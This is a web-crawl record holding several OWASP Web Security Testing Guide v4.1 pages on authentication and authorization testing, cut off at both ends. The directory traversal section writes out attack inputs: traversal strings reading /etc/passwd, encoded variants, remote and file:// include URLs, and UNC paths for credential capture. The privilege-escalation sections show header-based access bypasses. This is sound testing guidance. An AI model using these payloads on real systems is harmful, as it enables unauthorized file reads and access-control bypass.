"text": "How to Test"}, {"uroven": 3, "text": "Understand the Primary Mechanism"}, {"uroven": 3, "text": "Identify Other Channels"}, {"uroven": 3, "text": "Enumerate Authentication Functionality"}, {"uroven": 3, "text": "Review and Test"}, {"uroven": 2, "text": "Remediation"}], "markdown": "# WSTG - v4.1\n\n# Testing for Weaker Authentication in Alternative Channel\n\n| ID |\n| --- |\n| WSTG-ATHN-10 |\n\n## Summary\n\nEven if the primary authentication mechanisms do not include any vulnerabilities, it may be that vulnerabilities exist in alternative legitimate authentication user channels for the same user accounts. Tests should be undertaken to identify alternative channels and, subject to test scoping, identify vulnerabilities.\n\nThe alternative user interaction channels could be utilized to circumvent the primary channel, or expose information that can then be used to assist an attack against the primary channel. Some of these channels may themselves be separate web applications using different host names or paths. For example:\n\n- Standard website\n- Mobile, or specific device, optimized website\n- Accessibility optimized website\n- Alternative country and language websites\n- Parallel websites that utilize the same user accounts (e.g. another website offering different functionally of the same organization, a partner website with which user accounts are shared)\n- Development, test, UAT and staging versions of the standard website\n\nBut they could also be other types of application or business processes:\n\n- Mobile device app\n- Desktop application\n- Call center operators\n- Interactive voice response or phone tree systems\n\nNote that the focus of this test is on alternative channels; some authentication alternatives might appear as different content delivered via the same website and would almost certainly be in scope for testing. These are not discussed further here, and should have been identified during information gathering and primary authentication testing. For example:\n\n- Progressive enrichment and graceful degradation that change functionality\n- Site use without cookies\n- Site use without JavaScript\n- Site use without plugins such as for Flash and Java\n\nEven if the scope of the test does not allow the alternative channels to be tested, their existence should be documented. These may undermine the degree of assurance in the authentication mechanisms and may be a precursor to additional testing.\n\n## Example\n\nThe primary website is:\n\n`http://www.example.com`\n\nand authentication functions always take place on pages using Transport Layer Security:\n\n`https://www.example.com/myaccount/`\n\nHowever, a separate mobile-optimized website exists that does not use Transport Layer Security at all, and has a weaker password recovery mechanism:\n\n`http://m.example.com/myaccount/`\n\n## How to Test\n\n### Understand the Primary Mechanism\n\nFully test the website’s primary authentication functions. This should identify how accounts are issued, created or changed and how passwords are recovered, reset, or changed. Additionally knowledge of any elevated privilege authentication and authentication protection measures should be known. These precursors are necessary to be able to compare with any alternative channels.\n\n### Identify Other Channels\n\nOther channels can be found by using the following methods:\n\n- Reading site content, especially the home page, contact us, help pages, support articles and FAQs, T&Cs, privacy notices, the robots.txt file and any sitemap.xml files.\n- Searching HTTP proxy logs, recorded during previous information gathering and testing, for strings such as “mobile”, “android”, blackberry”, “ipad”, “iphone”, “mobile app”, “e-reader”, “wireless”, “auth”, “sso”, “single sign on” in URL paths and body content.\n- Use search engines to find different websites from the same organization, or using the same domain name, that have similar home page content or which also have authentication mechanisms.\n\nFor each possible channel confirm whether user accounts are shared across these, or provide access to the same or similar functionality.\n\n### Enumerate Authentication Functionality\n\nFor each alternative channel where user accounts or functionality are shared, identify if all the authentication functions of the primary channel are available, and if anything extra exists. It may be useful to create a grid like the one below:\n\n| Primary | Mobile | Call Center | Partner Website |\n| --- | --- | --- | --- |\n| Register | Yes | - | - |\n| Log in | Yes | Yes | Yes(SSO) |\n| Log out | - | - | - |\n| Password reset | Yes | Yes | - |\n| - | Change password | - | - |\n\nIn this example, mobile has an extra function “change password” but does not offer “log out”. A limited number of tasks are also possible by phoning the call center. Call centers can be interesting, because their identity confirmation checks might be weaker than the website’s, allowing this channel to be used to aid an attack against a user’s account.\n\nWhile enumerating these it is worth taking note of how session management is undertaken, in case there is overlap across any channels (e.g. cookies scoped to the same parent domain name, concurrent sessions allowed across channels, but not on the same channel).\n\n### Review and Test\n\nAlternative channels should be mentioned in the testing report, even if they are marked as “information only” or “out of scope”. In some cases the test scope might include the alternative channel (e.g. because it is just another path on the target host name), or may be added to the scope after discussion with the owners of all the channels. If testing is permitted and authorized, all the other authentication tests in this guide should then be performed, and compared against the primary channel.\n\nThe test cases for all the other authentication tests should be utilized.\n\n## Remediation\n\nEnsure a consistent authentication policy is applied across all channels so that they are equally secure.\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 5636, "slov": 812, "odkazu": 175, "kodovani": "windows-1250", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 13:43:24", "sha256": "957f474994984d316dcbf170759e9cddde43ef4d6e8740f62d25ff8027f4c927", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/04-Authentication_Testing/README", "titulek": "WSTG - v4.1 | OWASP Foundation", "h1": "WSTG - v4.1", "popis": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/04-Authentication_Testing/README", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.1 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/04-Authentication_Testing/README", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "WSTG - v4.1"}, {"uroven": 1, "text": "4.4 Authentication Testing"}], "markdown": "# WSTG - v4.1\n\n# 4.4 Authentication Testing\n\n4.4.1 [Testing for Credentials Transported over an Encrypted Channel](/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/04-Authentication_Testing/01-Testing_for_Credentials_Transported_over_an_Encrypted_Channel)\n\n4.4.2 [Testing for Default Credentials](/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/04-Authentication_Testing/02-Testing_for_Default_Credentials)\n\n4.4.3 [Testing for Weak Lock Out Mechanism](/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/04-Authentication_Testing/03-Testing_for_Weak_Lock_Out_Mechanism)\n\n4.4.4 [Testing for Bypassing Authentication Schema](/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/04-Authentication_Testing/04-Testing_for_Bypassing_Authentication_Schema)\n\n4.4.5 [Testing for Vulnerable Remember Password](/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/04-Authentication_Testing/05-Testing_for_Vulnerable_Remember_Password)\n\n4.4.6 [Testing for Browser Cache Weaknesses](/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/04-Authentication_Testing/06-Testing_for_Browser_Cache_Weaknesses)\n\n4.4.7 [Testing for Weak Password Policy](/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/04-Authentication_Testing/07-Testing_for_Weak_Password_Policy)\n\n4.4.8 [Testing for Weak Security Question Answer](/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/04-Authentication_Testing/08-Testing_for_Weak_Security_Question_Answer)\n\n4.4.9 [Testing for Weak Password Change or Reset Functionalities](/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/04-Authentication_Testing/09-Testing_for_Weak_Password_Change_or_Reset_Functionalities)\n\n4.4.10 [Testing for Weaker Authentication in Alternative Channel](/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/04-Authentication_Testing/10-Testing_for_Weaker_Authentication_in_Alternative_Channel)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 2184, "slov": 156, "odkazu": 175, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 13:43:14", "sha256": "c9a416d33d13f3b055d5404c5836facc3d6a24d3ac671edf51dcd11990bedec6", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/05-Authorization_Testing/01-Testing_Directory_Traversal_File_Include", "titulek": "WSTG - v4.1 | OWASP Foundation", "h1": "WSTG - v4.1", "popis": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/05-Authorization_Testing/01-Testing_Directory_Traversal_File_Include", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.1 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/05-Authorization_Testing/01-Testing_Directory_Traversal_File_Include", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "WSTG - v4.1"}, {"uroven": 1, "text": "Testing Directory Traversal File Include"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 3, "text": "Black-Box Testing"}, {"uroven": 4, "text": "Input Vectors Enumeration"}, {"uroven": 4, "text": "Testing Techniques"}, {"uroven": 3, "text": "Gray-Box Testing"}, {"uroven": 2, "text": "Tools"}, {"uroven": 2, "text": "References"}, {"uroven": 3, "text": "Whitepapers"}], "markdown": "# WSTG - v4.1\n\n# Testing Directory Traversal File Include\n\n| ID |\n| --- |\n| WSTG-ATHZ-01 |\n\n## Summary\n\nMany web applications use and manage files as part of their daily operation. Using input validation methods that have not been well designed or deployed, an aggressor could exploit the system in order to read or write files that are not intended to be accessible. In particular situations, it could be possible to execute arbitrary code or system commands.\n\nTraditionally, web servers and web applications implement authentication mechanisms to control access to files and resources. Web servers try to confine users’ files inside a “root directory” or “web document root”, which represents a physical directory on the file system. Users have to consider this directory as the base directory into the hierarchical structure of the web application.\n\nThe definition of the privileges is made using Access Control Lists (ACL) which identify which users or groups are supposed to be able to access, modify, or execute a specific file on the server. These mechanisms are designed to prevent malicious users from accessing sensitive files (for example, the common /etc/passwd file on a UNIX-like platform) or to avoid the execution of system commands.\n\nMany web applications use server-side scripts to include different kinds of files. It is quite common to use this method to manage images, templates, load static texts, and so on. Unfortunately, these applications expose security vulnerabilities if input parameters (i.e., form parameters, cookie values) are not correctly validated.\n\nIn web servers and web applications, this kind of problem arises in path traversal/file include attacks. By exploiting this kind of vulnerability, an attacker is able to read directories or files which they normally couldn’t read, access data outside the web document root, or include scripts and other kinds of files from external websites.\n\nFor the purpose of the OWASP Testing Guide, only the security threats related to web applications will be considered and not threats to web servers (e.g., the infamous “%5c escape code” into Microsoft IIS web server). Further reading suggestions will be provided in the references section for interested readers.\n\nThis kind of attack is also known as the dot-dot-slash attack (../), directory traversal, directory climbing, or backtracking.\n\nDuring an assessment, to discover path traversal and file include flaws, testers need to perform two different stages:\n\n- ( **a** ) **Input Vectors Enumeration** (a systematic evaluation of each input vector)\n- ( **b** ) **Testing Techniques** (a methodical evaluation of each attack technique used by an attacker to exploit the vulnerability)\n\n## How to Test\n\n### Black-Box Testing\n\n#### Input Vectors Enumeration\n\nIn order to determine which part of the application is vulnerable to input validation bypassing, the tester needs to enumerate all parts of the application that accept content from the user. This also includes HTTP GET and POST queries and common options like file uploads and HTML forms.\n\nHere are some examples of the checks to be performed at this stage:\n\n- Are there request parameters which could be used for file-related operations?\n- Are there unusual file extensions?\n- Are there interesting variable names?\n - `http://example.com/getUserProfile.jsp?item=ikki.html`\n - `http://example.com/index.php?file=content`\n - `http://example.com/main.cgi?home=index.htm`\n- Is it possible to identify cookies used by the web application for the dynamic generation of pages or templates?\n - `Cookie: ID=d9ccd3f4f9f18cc1:TM=2166255468:LM=1162655568:S=3cFpqbJgMSSPKVMV:TEMPLATE=flower`\n - `Cookie: USER=1826cc8f:PSTYLE=GreenDotRed`\n\n#### Testing Techniques\n\nThe next stage of testing is analyzing the input validation functions present in the web application. Using the previous example, the dynamic page called *getUserProfile.jsp* loads static information from a file and shows the content to users. An attacker could insert the malicious string “*../../../../etc/passwd*” to include the password hash file of a Linux/UNIX system. Obviously, this kind of attack is possible only if the validation checkpoint fails; according to the file system privileges, the web application itself must be able to read the file.\n\nTo successfully test for this flaw, the tester needs to have knowledge of the system being tested and the location of the files being requested. There is no point requesting /etc/passwd from an IIS web server.\n\n`http://example.com/getUserProfile.jsp?item=../../../../etc/passwd`\n\nFor the cookies example:\n\n`Cookie: USER=1826cc8f:PSTYLE=../../../../etc/passwd`\n\nIt’s also possible to include files and scripts located on external website.\n\n`http://example.com/index.php?file=http://www.owasp.org/malicioustxt`\n\nIf protocols are accepted as arguments, as in the above example, it’s also possible to probe the local filesystem this way.\n\n`http://example.com/index.php?file=file:///etc/passwd`\n\nIf protocols are accepted as arguments, as in the above examples, it’s also possible to probe the local services and nearby services.\n\n`http://example.com/index.php?file=http://localhost:8080 or http://example.com/index.php?file=http://192.168.0.2:9080`\n\nThe following example will demonstrate how it is possible to show the source code of a CGI component, without using any path traversal characters.\n\n`http://example.com/main.cgi?home=main.cgi`\n\nThe component called “*main.cgi*” is located in the same directory as the normal HTML static files used by the application. In some cases the tester needs to encode the requests using special characters (like the “**.**” dot, “**%00**” null, …) in order to bypass file extension controls or to prevent script execution.\n\n**Tip:** It’s a common mistake by developers to not expect every form of encoding and therefore only do validation for basic encoded content. If at first the test string isn’t successful, try another encoding scheme.\n\nEach operating system uses different characters as path separator:\n\n*Unix-like OS*:\n\n- root directory: “ `/` ”\n- directory separator: “ `/` ”\n\n*Windows OS’ Shell’*:\n\n- root directory: “ `:\\` ”\n- directory separator: “\" or “/”\n\n*Classic Mac OS*:\n\n- root directory: “ `:` ”\n- directory separator: “ `:` ”\n\nWe should take in to account the following character encoding mechanisms:\n\n- URL encoding and double URL encoding\n - `%2e%2e%2f` represents `../`\n - `%2e%2e/` represents `../`\n - `..%2f` represents `../`\n - `%2e%2e%5c` represents `..\\`\n - `%2e%2e\\` represents `..\\`\n - `..%5c` represents `..\\`\n - `%252e%252e%255c` represents `..\\`\n - `..%255c` represents `..\\` and so on.\n- Unicode/UTF-8 Encoding (it only works in systems that are able to accept overlong UTF-8 sequences)\n - `..%c0%af` represents `../`\n - `..%c1%9c` represents `..\\`\n\nThere are other OS and application framework specific considerations as well. For instance, Windows is flexible in its parsing of file paths.\n\n- *Windows shell* : Appending any of the following to paths used in a shell command results in no difference in function:\n - Angle brackets “>” and “<” at the end of the path\n - Double quotes (closed properly) at the end of the path\n - Extraneous current directory markers such as “./” or “.\\”\n - Extraneous parent directory markers with arbitrary items that may or may not exist Examples:\n - `file.txt`\n - `file.txt...`\n - `file.txt`\n - `file.txt””””`\n - `file.txt<<<>>><`\n - `./././file.txt`\n - `nonexistant/../file.txt`\n- *Windows API* : The following items are discarded when used in any shell command or API call where a string is taken as a filename:\n - periods\n - spaces\n- *Windows UNC Filepaths* : Used to reference files on SMB shares. Sometimes, an application can be made to refer to files on a remote UNC filepath. If so, the Windows SMB server may send stored credentials to the attacker, which can be captured and cracked. These may also be used with a self-referential IP address or domain name to evade filters, or used to access files on SMB shares inaccessible to the attacker, but accessible from the web server.\n - `\\\\server_or_ip\\path\\to\\file.abc`\n - `\\\\?\\server_or_ip\\path\\to\\file.abc`\n- *Windows NT Device Namespace* : Used to refer to the Windows device namespace. Certain references will allow access to file systems using a different path.\n - May be equivalent to a drive letter such as `c:\\` , or even a drive volume without an assigned letter. `\\\\.\\GLOBALROOT\\Device\\HarddiskVolume1\\`\n - Refers to the first disc drive on the machine. `\\\\.\\CdRom0\\`\n\n### Gray-Box Testing\n\nWhen the analysis is performed with a gray-box testing approach, testers have to follow the same methodology as in black-box testing. However, since they can review the source code, it is possible to search the input vectors (*stage (**a**) of the testing*) more easily and accurately. During a source code review, they can use simple tools (such as the *grep* command) to search for one or more common patterns within the application code: inclusion functions/methods, filesystem operations, and so on.\n\n- `PHP: include(), include_once(), require(), require_once(), fopen(), readfile(), ...`\n- `JSP/Servlet: java.io.File(), java.io.FileReader(), ...`\n- `ASP: include file, include virtual, ...`\n\nUsing online code search engines (e.g., [Searchcode](https://searchcode.com/)), it may also be possible to find path traversal flaws in Open Source software published on the Internet.\n\nFor PHP, testers can use:\n\n```\nlang:php (include|require)(_once)?\\s*['\"(]?\\s*\\$_(GET|POST|COOKIE)\n```\n\nUsing the gray-box testing method, it is possible to discover vulnerabilities that are usually harder to discover, or even impossible to find during a standard black-box assessment.\n\nSome web applications generate dynamic pages using values and parameters stored in a database. It may be possible to insert specially crafted path traversal strings when the application adds data to the database. This kind of security problem is difficult to discover due to the fact the parameters inside the inclusion functions seem internal and “safe” but are not in reality.\n\nAdditionally, by reviewing the source code it is possible to analyze the functions that are supposed to handle invalid input: some developers try to change invalid input to make it valid, avoiding warnings and errors. These functions are usually prone to security flaws.\n\nConsider a web application with these instructions:\n\n```\n filename = Request.QueryString(“file”); Replace(filename, “/”,”\\”); Replace(filename, “..\\”,””); \n```\n\nTesting for the flaw is achieved by:\n\n```\n file=....//....//boot.ini file=....\\\\....\\\\boot.ini file= ..\\..\\boot.ini \n```\n\n## Tools\n\n- [DotDotPwn - The Directory Traversal Fuzzer](https://github.com/wireghoul/dotdotpwn)\n- [Path Traversal Fuzz Strings (from WFuzz Tool)](https://github.com/xmendez/wfuzz/blob/master/wordlist/Injections/Traversal.txt)\n- [OWASP ZAP](https://www.zaproxy.org/)\n- [Burp Suite](https://portswigger.net)\n- Enconding/Decoding tools\n- [String searcher “grep”](https://www.gnu.org/software/grep/)\n- [DirBuster](https://wiki.owasp.org/index.php/Category:OWASP_DirBuster_Project)\n\n## References\n\n### Whitepapers\n\n- [phpBB Attachment Mod Directory Traversal HTTP POST Injection](https://seclists.org/vulnwatch/2004/q4/33)\n- [Windows File Pseudonyms: Pwnage and Poetry](https://www.slideshare.net/BaronZor/windows-file-pseudonyms)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 11339, "slov": 1573, "odkazu": 184, "kodovani": "windows-1250", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 13:43:26", "sha256": "e1bacf24cad4dc2f454e76f28d229d12015e3f82e792446774f5ad8f8e1e7036", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://searchcode.com/", "https://github.com/wireghoul/dotdotpwn", "https://github.com/xmendez/wfuzz/blob/master/wordlist/Injections/Traversal.txt", "https://www.zaproxy.org/", "https://portswigger.net/", "https://www.gnu.org/software/grep/", "https://wiki.owasp.org/index.php/Category:OWASP_DirBuster_Project", "https://seclists.org/vulnwatch/2004/q4/33", "https://www.slideshare.net/BaronZor/windows-file-pseudonyms", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/05-Authorization_Testing/02-Testing_for_Bypassing_Authorization_Schema", "titulek": "WSTG - v4.1 | OWASP Foundation", "h1": "WSTG - v4.1", "popis": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/05-Authorization_Testing/02-Testing_for_Bypassing_Authorization_Schema", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.1 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/05-Authorization_Testing/02-Testing_for_Bypassing_Authorization_Schema", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "WSTG - v4.1"}, {"uroven": 1, "text": "Testing for Bypassing Authorization Schema"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 3, "text": "Testing for Access to Administrative Functions"}, {"uroven": 3, "text": "Testing for Access to Resources Assigned to a Different Role"}, {"uroven": 2, "text": "Tools"}], "markdown": "# WSTG - v4.1\n\n# Testing for Bypassing Authorization Schema\n\n| ID |\n| --- |\n| WSTG-ATHZ-02 |\n\n## Summary\n\nThis kind of test focuses on verifying how the authorization schema has been implemented for each role or privilege to get access to reserved functions and resources.\n\nFor every specific role the tester holds during the assessment, for every function and request that the application executes during the post-authentication phase, it is necessary to verify:\n\n- Is it possible to access that resource even if the user is not authenticated?\n- Is it possible to access that resource after the log-out?\n- Is it possible to access functions and resources that should be accessible to a user that holds a different role or privilege?\n\nTry to access the application as an administrative user and track all the administrative functions.\n\n- Is it possible to access administrative functions also if the tester is logged as a user with standard privileges?\n- Is it possible to use these administrative functions as a user with a different role and for whom that action should be denied?\n\n## How to Test\n\n### Testing for Access to Administrative Functions\n\nFor example, suppose that the `AddUser.jsp` function is part of the administrative menu of the application, and it is possible to access it by requesting the following URL:\n\n`https://www.example.com/admin/addUser.jsp`\n\nThen, the following HTTP request is generated when calling the AddUser function:\n\n```\nPOST /admin/addUser.jsp HTTP/1.1\nHost: www.example.com\n[other HTTP headers]\n\nuserID=fakeuser&role=3&group=grp001\n```\n\nWhat happens if a non-administrative user tries to execute that request? Will the user be created? If so, can the new user use their privileges?\n\n### Testing for Access to Resources Assigned to a Different Role\n\nFor example analyze an application that uses a shared directory to store temporary PDF files for different users. Suppose that `documentABC.pdf` should be accessible only by the user `test1` with `roleA`. Verify if user `test2` with `roleB` can access that resource.\n\nSome applications support non-standard headers such as `X-Original-URL` or `X-Rewrite-URL` in order to allow overriding the target URL in requests with the one specified in the header value.\n\nThis behavior can be leveraged in a situation in which the application is behind a component that applies access control restriction based on the request URL.\n\nThe kind of access control restriction based on the request URL can be, for example, blocking access from Internet to an administration console exposed on `/console` or `/admin`.\n\nTo detect the support for the header `X-Original-URL` or `X-Rewrite-URL`, the following steps can be applied.\n\n```\nGET / HTTP/1.1\nHost: www.example.com\n[other standard HTTP headers]\n```\n\n```\nGET / HTTP/1.1\nHost: www.example.com\nX-Original-URL: /donotexist1\n[other standard HTTP headers]\n```\n\n```\nGET / HTTP/1.1\nHost: www.example.com\nX-Rewrite-URL: /donotexist2\n[other standard HTTP headers]\n```\n\nIf the response for either request contains markers that the resource was not found, this indicates that the application supports the special request headers. These markers may include the HTTP response status code 404, or a “resource not found” message in the response body.\n\nOnce the support for the header `X-Original-URL` or `X-Rewrite-URL` was validated then the tentative of bypass against the access control restriction can be leveraged by sending the expected request to the application but specifying a URL “allowed” by the front-end component as the main request URL and specifying the real target URL in the `X-Original-URL` or `X-Rewrite-URL` header depending on the one supported. If both are supported then try one after the other to verify for which header the bypass is effective.\n\n## Tools\n\n- [OWASP Zed Attack Proxy (ZAP)](https://www.zaproxy.org/)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 3834, "slov": 596, "odkazu": 176, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 13:43:27", "sha256": "84ad56061cdd88781ed33b5f9f172dcaf3cab104ab886db820b3b2720f07ccdf", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://www.zaproxy.org/", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/05-Authorization_Testing/03-Testing_for_Privilege_Escalation", "titulek": "WSTG - v4.1 | OWASP Foundation", "h1": "WSTG - v4.1", "popis": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/05-Authorization_Testing/03-Testing_for_Privilege_Escalation", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.1 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/05-Authorization_Testing/03-Testing_for_Privilege_Escalation", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "WSTG - v4.1"}, {"uroven": 1, "text": "Testing for Privilege Escalation"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 3, "text": "Testing for Role/Privilege Manipulation"}, {"uroven": 4, "text": "Manipulation of User Group"}, {"uroven": 4, "text": "Manipulation of User Profile"}, {"uroven": 4, "text": "Manipulation of Condition Value"}, {"uroven": 4, "text": "Manipulation of IP Address"}, {"uroven": 3, "text": "URL Traversal"}, {"uroven": 3, "text": "WhiteBox"}, {"uroven": 3, "text": "Weak SessionID"}, {"uroven": 2, "text": "References"}, {"uroven": 3, "text": "Whitepapers"}, {"uroven": 2, "text": "Tools"}], "markdown": "# WSTG - v4.1\n\n# Testing for Privilege Escalation\n\n| ID |\n| --- |\n| WSTG-ATHZ-03 |\n\n## Summary\n\nThis section describes the issue of escalating privileges from one stage to another. During this phase, the tester should verify that it is not possible for a user to modify his or her privileges or roles inside the application in ways that could allow privilege escalation attacks.\n\nPrivilege escalation occurs when a user gets access to more resources or functionality than they are normally allowed, and such elevation or changes should have been prevented by the application. This is usually caused by a flaw in the application. The result is that the application performs actions with more privileges than those intended by the developer or system administrator.\n\nThe degree of escalation depends on what privileges the attacker is authorized to possess, and what privileges can be obtained in a successful exploit. For example, a programming error that allows a user to gain extra privilege after successful authentication limits the degree of escalation, because the user is already authorized to hold some privilege. Likewise, a remote attacker gaining superuser privilege without any authentication presents a greater degree of escalation.\n\nUsually, people refer to *vertical escalation* when it is possible to access resources granted to more privileged accounts (e.g., acquiring administrative privileges for the application), and to *horizontal escalation* when it is possible to access resources granted to a similarly configured account (e.g., in an online banking application, accessing information related to a different user).\n\n## How to Test\n\n### Testing for Role/Privilege Manipulation\n\nIn every portion of the application where a user can create information in the database (e.g., making a payment, adding a contact, or sending a message), can receive information (statement of account, order details, etc.), or delete information (drop users, messages, etc.), it is necessary to record that functionality. The tester should try to access such functions as another user in order to verify if it is possible to access a function that should not be permitted by the user’s role/privilege (but might be permitted as another user).\n\n#### Manipulation of User Group\n\nFor example:\nThe following HTTP POST allows the user that belongs to `grp001` to access order #0001:\n\n```\nPOST /user/viewOrder.jsp HTTP/1.1\nHost: www.example.com\n...\n\ngroupID=grp001&orderID=0001\n```\n\nVerify if a user that does not belong to `grp001` can modify the value of the parameters `groupID` and `orderID` to gain access to that privileged data.\n\n#### Manipulation of User Profile\n\nFor example:\nThe following server’s answer shows a hidden field in the HTML returned to the user after a successful authentication.\n\n```\nHTTP/1.1 200 OK\nServer: Netscape-Enterprise/6.0\nDate: Wed, 1 Apr 2006 13:51:20 GMT\nSet-Cookie: USER=aW78ryrGrTWs4MnOd32Fs51yDqp; path=/; domain=www.example.com\nSet-Cookie: SESSION=k+KmKeHXTgDi1J5fT7Zz; path=/; domain= www.example.com\nCache-Control: no-cache\nPragma: No-cache\nContent-length: 247\nContent-Type: text/html\nExpires: Thu, 01 Jan 1970 00:00:00 GMT\nConnection: close\n\n
